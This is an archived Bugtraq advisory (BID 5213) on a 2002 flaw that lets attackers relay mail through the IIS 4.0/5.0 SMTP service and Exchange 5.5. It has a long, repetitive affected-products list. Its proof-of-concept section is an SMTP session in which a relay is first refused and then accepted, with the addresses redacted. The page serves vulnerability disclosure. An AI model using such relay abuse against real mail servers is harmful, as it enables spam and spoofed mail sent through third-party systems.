BID:5213

Microsoft IIS SMTP Service Encapsulated SMTP Address Vulnerability

Info

Microsoft IIS SMTP Service Encapsulated SMTP Address Vulnerability

Bugtraq ID:	5213
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 12 2002 12:00AM
Updated:	Jul 12 2002 12:00AM
Credit:	Discovery of the original vulnerability credited to Laurent Frinking of Quark Deutschland GmbH. Discovery of the IIS variant is credited to Thomas Liam Romanis, Geoff M Webb, and James R Turner.
Vulnerable:	Microsoft IIS 5.0 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 + Microsoft Windows 2000 Advanced Server + Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 + Microsoft Windows 2000 Professional + Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 + Microsoft Windows 2000 Server + Microsoft Windows 2000 Server Microsoft IIS 4.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Call Manager 3.0 + Cisco Call Manager 3.0 + Cisco Call Manager 2.0 + Cisco Call Manager 2.0 + Cisco Call Manager 1.0 + Cisco Call Manager 1.0 + Cisco ICS 7750 + Cisco ICS 7750 + Cisco IP/VC 3540 Video Rate Matching Module + Cisco IP/VC 3540 Video Rate Matching Module + Cisco Unity Server 2.4 + Cisco Unity Server 2.4 + Cisco Unity Server 2.3 + Cisco Unity Server 2.3 + Cisco Unity Server 2.2 + Cisco Unity Server 2.2 + Cisco Unity Server 2.0 + Cisco Unity Server 2.0 + Cisco uOne 4.0 + Cisco uOne 4.0 + Cisco uOne 3.0 + Cisco uOne 3.0 + Cisco uOne 2.0 + Cisco uOne 2.0 + Cisco uOne 1.0 + Cisco uOne 1.0 + Hancom Hancom Office 2007 0 + Hancom Hancom Office 2007 0 + Microsoft BackOffice 4.5 + Microsoft BackOffice 4.5 + Microsoft Windows NT 4.0 Option Pack + Microsoft Windows NT 4.0 Option Pack Microsoft Exchange Server 5.5 SP2 - Microsoft BackOffice 4.5 - Microsoft BackOffice 4.5 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 Microsoft Exchange Server 5.5 SP1 - Microsoft BackOffice 4.5 - Microsoft BackOffice 4.5 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 Microsoft Exchange Server 5.5 - Microsoft BackOffice 4.5 - Microsoft BackOffice 4.5 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0

Not Vulnerable:

Discussion

Microsoft IIS SMTP Service Encapsulated SMTP Address Vulnerability

Microsoft Exchange 5.5 and the SMTP (Simple Mail Transfer Protocol) service included with IIS (Internet Information Services) 4.0 and 5.0 are vulnerable to an encapsulated SMTP address vulnerability.

The vulnerability was originally announced in Microsoft Security Bulletin MS99-027 and reported to affect Exchange Server 5.5. Microsoft released a patch to fix the vulnerability for Exchange Server 5.5 only. It has been recently reported that this vulnerability also affects the SMTP service included with Microsoft IIS 4.0 and 5.0. There exists no patch for the IIS SMTP service.

Exploit / POC

Microsoft IIS SMTP Service Encapsulated SMTP Address Vulnerability

A proof of concept has been provided by [email protected]:

220 test-mailer Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready
at
Tue, 28 May 2002 14:54:10 +0100
helo
250 test-mailer Hello [IP address of source host]
MAIL FROM: [email protected]
250 2.1.0 [email protected] OK
RCPT TO: [email protected]
550 5.7.1 Unable to relay for [email protected]
RCPT TO: [email protected]
250 2.1.5 [email protected]
data
354 Start mail input; end with <CRLF>.<CRLF>
Subject: You are vulnerable.